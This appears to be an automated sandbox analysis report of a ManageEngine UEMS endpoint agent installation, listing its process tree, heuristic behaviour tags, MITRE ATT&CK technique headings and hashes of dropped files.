C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n dd65fe8a-c3a8-45d0-9747-05463d2b8ded -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DlpCommonComponents.zip" -c dlp_win_neutral -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EndpointDLP-metadata.json" -a 14⤵PID:4880
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DlpCommonComponents.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointDLP\\bin\\"5⤵PID:3908
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n dd65fe8a-c3a8-45d0-9747-05463d2b8ded -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DlpComponent64.zip" -c dlp_win_64 -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EndpointDLP-metadata.json" -a 14⤵PID:6372
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DlpComponent64.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointDLP\\bin\\"5⤵PID:6200
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointDLP\bin\MEDLP.exe--install5⤵PID:5380
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointDLP\bin\MEDLP.exe--run5⤵PID:5220
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n a8171afd-f23a-419b-9bb8-146a20bb61fd -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" -c blm -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json" -a 24⤵PID:1988
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2868
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\"5⤵PID:4648
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 882cffd5-0f27-44fc-883d-77846fc9cccf -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\bsp_component.7z" -c bsp-native -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BrowserSecurity-metadata.json" -a 14⤵PID:660
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\bsp_component.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\"5⤵PID:6252
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\bmagent.exebin\bmagent.exe5⤵PID:6416
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 425cc09c-d116-4ff1-a6f4-52ff363426b6 -f "--" -c secureusb -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\SecureUSB-metadata.json" -a 14⤵PID:6872
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 50a5c86a-eafc-11ed-a05b-0242ac120003 -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\ECEASetup.zip" -c ei_win_64 -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EndpointIntelligence-metadata.json" -a 14⤵PID:6000
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\ECEASetup.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\EndpointIntelligence\installer\"5⤵PID:6244
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\installer\ECEASetup.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\installer\ECEASetup.exe" -install5⤵PID:6428
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEABundle.7z"6⤵PID:5732
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 9ff13e98-156a-40a8-a2f0-1966149487e5 -c acp -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ApplicationControl-metadata.json" -e enabled -a 34⤵PID:5140
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n dd65fe8a-c3a8-45d0-9747-05463d2b8ded -c dlp_win_64 -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EndpointDLP-metadata.json" -e enabled -a 34⤵PID:6076
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n a8171afd-f23a-419b-9bb8-146a20bb61fd -c blm -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json" -e enabled -a 34⤵PID:1200
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -e enabled -a 34⤵PID:2176
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 882cffd5-0f27-44fc-883d-77846fc9cccf -c bsp-native -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BrowserSecurity-metadata.json" -e enabled -a 34⤵PID:4884
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 425cc09c-d116-4ff1-a6f4-52ff363426b6 -c secureusb -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\SecureUSB-metadata.json" -e enabled -a 34⤵PID:2752
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 50a5c86a-eafc-11ed-a05b-0242ac120003 -c ei_win_64 -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EndpointIntelligence-metadata.json" -e enabled -a 34⤵PID:1240
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za x -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\driverfiles.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\" -y3⤵PID:6956
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCFAService64.exeDCFAService64.exe -install DFMFilter3⤵PID:6460
-
C:\Windows\system32\fltmc.exeC:\Windows\system32\fltmc.exe unload DFMFilter4⤵PID:6332
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCFAService64.exeDCFAService64.exe -install DRMFilter3⤵PID:6260
-
C:\Windows\system32\fltmc.exeC:\Windows\system32\fltmc.exe unload DRMFilter4⤵PID:6136
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCFAService64.exeDCFAService64.exe -start DRMFilter3⤵PID:5036
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r3⤵PID:5448
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -s3⤵PID:6448
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler_64.exemdmregistrationhandler_64.exe -c3⤵PID:6732
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:4808
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5032 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3512
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵
- Executes dropped EXE
PID:1888
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵
- Executes dropped EXE
PID:3184
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC1⤵PID:1836
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\NotifDriver_W10x64.sys"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\NotifDriver_W10x64.sys"1⤵PID:6796
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"1⤵PID:5084
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesDevCtrlSummary.exe-s ET_ENUM 9 2 "Unknown"2⤵PID:5768
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WbioSvcGroup -s WbioSrvc1⤵PID:5184
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:7104
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:3932
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAService.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAService.exe"1⤵PID:6184
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAReplication.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAReplication.exe" --version_manager_db_size=10485760 --ea_replication_root_path=client-data/intelligence/v1/ei-meta-data.json2⤵PID:4556
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAWebRequestHandler.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAWebRequestHandler.exe" --method=get --url="client-data/intelligence/v1/ei-meta-data.json" --file-path="C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Data\client-data\intelligence\v1\temp\ei-meta-data.json" --registry-key=ECEAConf_ei-meta-data --reporting-server=03⤵PID:2920
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAWebRequestHandler.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECEAWebRequestHandler.exe" --method=get --url="client-data\intelligence\v1\alertprofiles-meta.json" --file-path="C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Data\client-data\intelligence\v1\alertprofiles-meta.json" --reporting-server=03⤵PID:6268
-
-
-
C:\Windows\system32\drivers\DRMFilter.sysC:\Windows\system32\drivers\DRMFilter.sys1⤵PID:5420
-
C:\Windows\system32\drivers\DFMFilter.sysC:\Windows\system32\drivers\DFMFilter.sys1⤵PID:5480
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Defense Evasion
File and Directory Permissions Modification
1Modify Registry
1Subvert Trust Controls
2Install Root Certificate
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e59c9d2.rbs
- Size 63KB
- SHA256 525514630409cd3772d62d2b6bd0cc96eae43f812843daeccf568a3056fcfd92
- MD5 8b706b3d962ee77e8cf504a00f878bd7
- SHA1 e38700d8e27b8712d37ba1a83315a682d2b9662b
- SHA512 e38c707869f7ca58ace49c758304a51a7d61f6bdada46e973b30f58aeff2f1f6732e66184ecd6fc85a869629ac9ed08497135b27fc8172c8c5c50aefc80fd8d1
- SSDEEP 768:y2vw1oOjyhMzY7yjDO+GLVt5qYg+4OETaPwOwb4ImBVbi:T8oGyh7UDO+zzjojvzbi
- TLSH T121537166DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e59c9d8.rbs
- Size 546B
- SHA256 7c6056bc9d55bcdbeea0b08c173d38dd28b9381df1c482716a64343fe1c4b04e
- MD5 5959000e8a881aae308e050e3d08dac3
- SHA1 fa60a65995a7d590725239540d8cdeba744987de
- SHA512 441b4d6b296ada98dbe02a86051dd2ab597c74b188c0359512fc282102d9443a664291d5e5e80b04ef207e59392f294e4f36d2aabb0a4a59e305661f032fea15
- TLSH T1ACF00ED3A70846D2D1906B3622033F441A2FE17B81944B762F8452347E1620E5EFB0DC
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1KB
- SHA256 b554c9c15559818c3080dd5bf97ceeeb91cc900aa8d03936ad8b3338dd942b9c
- MD5 a85710a6068c2d18d26c3eea7ec68699
- SHA1 bc73bd45165ca8668ba9a358e60972c46d2a35c6
- SHA512 db43a153a79c6e3fee8e1e59fc041023f1d5f04f4b2672440300eb9b3b6916931043c2ae26a7640342cc3911e7bf3c6eb228e9653a8eee59973386ab797eaf26
- TLSH T116218487817E50C07EBCEFD064AE090AACC4CBA55A900D2F75F135E909B5226ED4C451
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10Debug\DCFAFilter.inf
- Size 3KB
- SHA256 bea86592123e7bc548beeb9c6bc87d3139a6085ec971fb3f5eefd94b1c2858ac
- MD5 d208d9242a049fb2804e5f8000402cfd
- SHA1 6c790f2059761fb777022eb69c29c23d5645e88f
- SHA512 7e57bacc3f24e8b2b1b7e2eba32081bdecf11153dfb76638b22e8b8f80bf1cd29fb186fb3207ababf21db9b4cff353317094732d98d245ea8ca29d8ac3caa043
- TLSH T14661DB6867929678AA963720BF13388377643184D0F4218437ED8189A7D7D4EC5B17FA
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10Debug\DCFAFilter.sys
- Size 70KB
- SHA256 f187e79fcad76d87c2b7cc2e56088b3f7790cf016a62df83e944e1e850568629
- MD5 1f9caf9acf4c6772e0b1d281c82d3c5f
- SHA1 98fb26c64b71052e8788e37f3734ee0c2ff2f2c5
- SHA512 9172e721dc10fcbbdcaa9482e507342e99658f92176e7484e4172b314052f9b4c3eb6fb79f3992d51753522349903e25289c4caf0c4fdcff9d700f1611c24b72
- SSDEEP 768:28KWkjIOBuy8tibBQ/+PweTervtdV2WPU3Ypm+YIy/Kt0Gu6f2nit7O1o902or2b:JptUBQ/WLTETbAzCCO902oJPbt3WWzC/
- TLSH T16A63AE87877012E2EEE79974B1CD9953FDB9B5822BA149CB03A1C4551F0B3D1BB3831A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10Debug\dcfafilter.cat
- Size 12KB
- SHA256 50589c9297b14e2a726579e92f5460e666b74f8cbd3592722ad7e2e1f51fb3fa
- MD5 69ea04a034fd21a606bd081a36ba48ac
- SHA1 45fdfd9312a7f02847fd4eec11c1fcf4efa7328c
- SHA512 ab8e8d86ee1330add91556e3c1c453c0e2738f43e79677e14acb8fad3aed1058bc5a9e5650cbb0c3d3a29d708963b063274e55bfeba4c98a3cdd5eae7f57fffc
- SSDEEP 192:VuXrPCJCc3Z2CEwLJ+hYCrv3Y8u27X01k9z3Agq24/z2Xf1:YmnJL+h3Eo7R9zQQv1
- TLSH T18F42F7A584684083FDA7EC6057E8F5837C7A23CB694045A71AEEF71A0E633C5FB5426C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win10Debug\DCFAFilter.inf
- Size 3KB
- SHA256 cc6a2243c6752ef721d0ca97d994e020813b307f621b9254fd571f7e1e5320ea
- MD5 728419b752a40c7255984966111ba924
- SHA1 34fa21893cca7b9a7bc6bfc24124e6b625678990
- SHA512 60c80c5e716b13e9c60844d14777eca8ed5c4ccb3698aca65ce64366d778d6ed05283d9a1aba9f714a7d8e24f7586651a0931a3279aacc2ad3000536db2ef176
- TLSH T13D61FC6867929678AA863720BF13388377643184D0F4208437ED81C9A7D7D4EC4B17FA
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win10Debug\DCFAFilter.sys
- Size 65KB
- SHA256 4c997c58e9c5f23cb612e130a8499d908eb1859b47976096fd091b733714e0b8
- MD5 23aa4dd9cea7f9a5231573742940374e
- SHA1 c6f38a14fc9b83a100829550a1c2a12fd909bb09
- SHA512 09116e3558d8ec77043ff38e281b476d45c970d6ff6bce06ed842a79f466f5c2104b4d878207c99ef4386df408bbce55e811dfe02b3806fd68e34b762521ef88
- SSDEEP 768:qm1MSOVQruPw173iyxgyNsyNN4/meYIy/Kt0qUCPhFy9xor2MPbAf5ALj033wGOi:qma3/w173Iy3NxTCCChExoJPbQHyLz
- TLSH T11F63AE43C56450A3EE838971B1ECDA2B3D3DB6821FD854C79394C85926793C1FF6A21E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win10Debug\dcfafilter.cat
- Size 12KB
- SHA256 cd026a710de21018fb423e68de73d4d3ee746b8b9e50e27015be597edef16f2c
- MD5 ae6925e96a4a21dfc4cf756ce3237a1a
- SHA1 28c04ddc9ba1b5658ce1a6b1c6e99ea0ca5c830f
- SHA512 82cbbcee3879080b5d920b08b23ea21de5bb4f1c146642d5c9e8cdbd42ac3bda4fcb13d6052a047b88c546349e00fb375862f9d72c121f815621bb463f8b9a56
- SSDEEP 192:aEd+JWJCc3Z2CEwLJ+hYCTwmhdxP3NGmVX01k9z3AVaNxkY5PoKUw:amnJL+h38mhP3U0R9zSMx5PoKUw
- TLSH T17642F8A2896850C3F9A7EC6043E8F5977C7927CB6940456A16EEE70E0D637C5FB2422C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc2612.tmp
- Size 243B
- SHA256 8b1d92dd06be3727b89906b304619f311c1b44d5ca838733a743ac325003737f
- MD5 46e171223aaa77bb39128355bdeb90b6
- SHA1 de8d9f78a6066fa8bd0df47611c67bdff403cbef
- SHA512 8be513ad7942bb5aad26070929cc705fd1619aee452554c9656c1a99851ae16ee4368fb9da359929a7d141d50bd82caff2138a67613fbe1986ef89a9851070b2
- TLSH T14FD05E0135428CEE13617766068CC4108D282122303F1D28B441B952067EF432C7346A
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc2612.tmp
- Size 271B
- SHA256 11ec857265add8fc59c57fa5ba2ea2c46f14237233ef40cc7848ed67b1bd78b6
- MD5 5c533fdc7958970355a00776eb1422c0
- SHA1 26c5670af8af24893676031dff872af606f0b8a2
- SHA512 a7519338ca5f9ab00aeadeaf591f0d2f363bb56fb907377af7a05522e0eaa08df28d35600550da1502d2799b616b6af12dd523b7e124965513832cf92361e0f4
- TLSH T186D02B424886BCDD0368505F41AEE85760A1FA88E68D5A60427039036A61815AB2EB11
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc376.tmp
- Size 5KB
- SHA256 848fc75eedea9f563934b5401a4ede05377cf598a97a7b032f275e84c64c70a0
- MD5 195bc348bd9f1c11c997e08105976f41
- SHA1 0194d178daaf02d2ec6a0782bccee5be5a0b8761
- SHA512 2afdc887cda86a71919952d10e886d2137e9b62b2e9015bccdbfeb763ca0d4e0de1bfe6f2097e328e12e223c3869fb043acb53e746246eed90f58e0baa85491d
- SSDEEP 96:CWdv4W+Ep6S4cVF6cNZcGRD8wjFb5i6hOt/EAA:gUGHElZhoA4zA
- TLSH T127B13010A0A28F6813B17B5C999AEA55CD160262361E1E05F06D39A70F3EFC27DB74F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc4208.tmp
- Size 190B
- SHA256 9627851903dfc627f84b362168b23a52c8b8493f5f93d85ef385f9f93b07734e
- MD5 a496810152ad380a4c46881111a0e097
- SHA1 298da0d13175a3631d85b7c5a0be2200f04f888e
- SHA512 75c3faca3584a5f36e232c7f451665dff34cab6c783cb1aaa981098c1996e9808f3354dd5db1bf3b7ee7d1a502cee566793995e1475f02706f720862808954ba
- TLSH T151C0C006309CF46254983100224DF33166887C04C22B46CCC15810600F23B03D5C9E4E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc5468.tmp
- Size 9B
- SHA256 bac0662712b7b39d4817f00ac40c2d4bbd49c0d1fb3fa45a78e7437620b022c6
- MD5 742b41a5748f83435a18ceb0920f2adc
- SHA1 3179a9a47a6148d6d1d0d2ffae55a0ca3424052f
- SHA512 a7e516d967fadf9ce07b3ba99e6b846cdfdc8c168e5dd6c4991dbfee1a7fb9792f6dd14c5064e030bac88b81243c4016417c5a46a9df98d34ddfac4c7378f15c
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointDLP\bin\MEDLP.exe
- Size 22.8MB
- SHA256 7fb978f318f92af012095c053be54b51641a2f72abada415e9e96fa0142641f8
- MD5 94744f4048d89e0d113f006ff8aacda1
- SHA1 812c4defd3b67629399dc772d28ef246f5f06dd1
- SHA512 385d057f4266c9ccdc7cab71864a99abc6fdc99e57acc556d941589cc7c5da4e6aa75d48c918fe3b73edc16c593394298ed884f7312bfb3e5157a7325ec546d0
- SSDEEP 393216:Q2WRvlnSJedlkfodfxwE4P24XlKqIjSHA3tUGMNOEhPU4g:OvlgedWdGMN9hPU4g
- TLSH T10A379F17B1A800E9E076E07ACA4A9517E7B17C1903B157EF1690A6E71F77EE02E3E710
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointDLP\data\file-system-classification-db\IDENTITY
- Size 36B
- SHA256 7ef0c4b422b370195c8b84dedb661e6ce92e08d31a4b777e2ede62c8c17e8165
- MD5 b4fc80f6cdc1a791498abbbc99938ec0
- SHA1 f0a99f51c190037748d948796f48e328de61c133
- SHA512 eca5cbca0c53f7b2c4eebe19e66c25b7941e4202b3c428abe44e12f9b00cabd4f2061ffdc50256898993c1a3d3e0075a0a204849f27ffe322a0c8b7e5d8de7fc
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointDLP\data\file-system-classification-db\OPTIONS-000007
- Size 6KB
- SHA256 7afae0465b6aca2239a3ee598434872e813b7655ca1577c054078450b6ab4e12
- MD5 c8bb70dbf87d4bff46fe0ba252e02763
- SHA1 65379abe988219e5c461e964987f3adb8908434e
- SHA512 b025ff61bd9e9f84c76b19ecf4389e18a373b9f56d8c761315ceeabc4c85c00b6933fc32a315ff93f17715744bee8ea67517a9b7d6bec28763d7493410862910
- SSDEEP 192:FBcd7lKk4fry2EpmqBFUDBVduY6BNp+knzu35++P:FBH9zMpLByDBVKBj+Eu35++
- TLSH T1F9E1B7529EB8AC7E71D6D534A52799361633F30AF2C518C4EF2CC63436D168D9AAF304
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Bin\ECAgentHelper.dll
- Size 1.2MB
- SHA256 4c297e3678185a96b139af2efba258faffeb56d6598973da97a5cd390996c868
- MD5 c2463c5e795b6eef8c71db57fe47aa92
- SHA1 643e1777b7b5f679279858366ea2e28e22ce98dd
- SHA512 b9864ed421de1fc8d8a2311e749160b2cbb52c8c9e6951bec6dbc42895f433d41dcc3108cfdeacd74cc2159f363fa3f2d732aae7e1985507ee126468f1525cd9
- SSDEEP 24576:Ji/5Q7+gob0iMzPPLszY/Z0PHkJo/nlgx/qljcHgPtNE5s12xL:SyxobBPHkIuxyljO5soxL
- TLSH T17045AE1776818030D19C01B19A29EBB6BE7D99250B6084E7F3C4ADFE59E05C2B73E71E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointIntelligence\Root\Public\Data\client-data\intelligence\v1\temp\ei-meta-data.json
- Size 1KB
- SHA256 2738827857c2a81e049991bfd1fd9450a227920cbd9e688283916c1cde661228
- MD5 b878d814c55a0b86520328fe83008479
- SHA1 bb0a08743ca33af9b188bde0592fb5f6781b36ff
- SHA512 99a5c64613b88a886ebbcd4549c20a45a2f438e9088ed93875abb8602c2f6af5484705806872b1af47267588cac12a72b9dee78a1e41704ba6f16faf24dd9917
- TLSH T12F31158849DE96F6C9CC9B1EB0C78ACB53251394E8BD25469BA1CC298DDF52D13CF138
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe
- Size 443KB
- SHA256 d4811ef744a8a13419774fce16f14b153823e46484362a8a607780cc4913b683
- MD5 6ee84f3ea3c9af86196cc6f77b2c49fb
- SHA1 a5ac694d7aca53df93f36fee34e3b184d6261f66
- SHA512 98f3dc70fbe379101f195d0cab7a0e55fb6333316d9b116993a54f3005e8846a9d3d9b9aef067d3eb4cc00fd045761c4c312b715ab46f24f82752b9a45e96136
- SSDEEP 6144:16U0D+0eiLw4Jg1D3qFovhitO7MGjfX8NZLJnxcbBMTdov3f4R0B6mISsAdpSt2a:6Pei6aftE8r8bO4X558
- TLSH T130A4AE21758AC031D56291B14D78DFB56A7CF4704FA164C7B3E84A7BAE602C22B39F27
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe
- Size 5.1MB
- SHA256 6ff056989c9a277c89ad3b6c0d5a61094b64f733e422c5fb0a892df102ae6dcb
- MD5 899977a324143db74b7ae17b5696439f
- SHA1 b8875b186dbf20f5ebae9e64ef8e811dbea31ffb
- SHA512 cc4651a1810c661a16b81daeac400dab0e392626836fdcf4e28ddade227f2abd119f13fcb1a3739b5b396e8c816be69cf4e78903a97d4f3d3d1d04d14a05a86d
- SSDEEP 98304:UkPBJ5LU4C6p73ad1Fq+qtGYwoRCCTiTtpSc2BKndhgfSr0qDd/RTVZq:U6BJ5LUIRadyxKvCqpSk4Klbq
- TLSH T1A4367C217616C075D68502F1652DFFBA819CAA394BA514CBB3C45F7AA6302D33B36F23
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\InstalledSoftwareScan_DataDiff.json
- Size 4KB
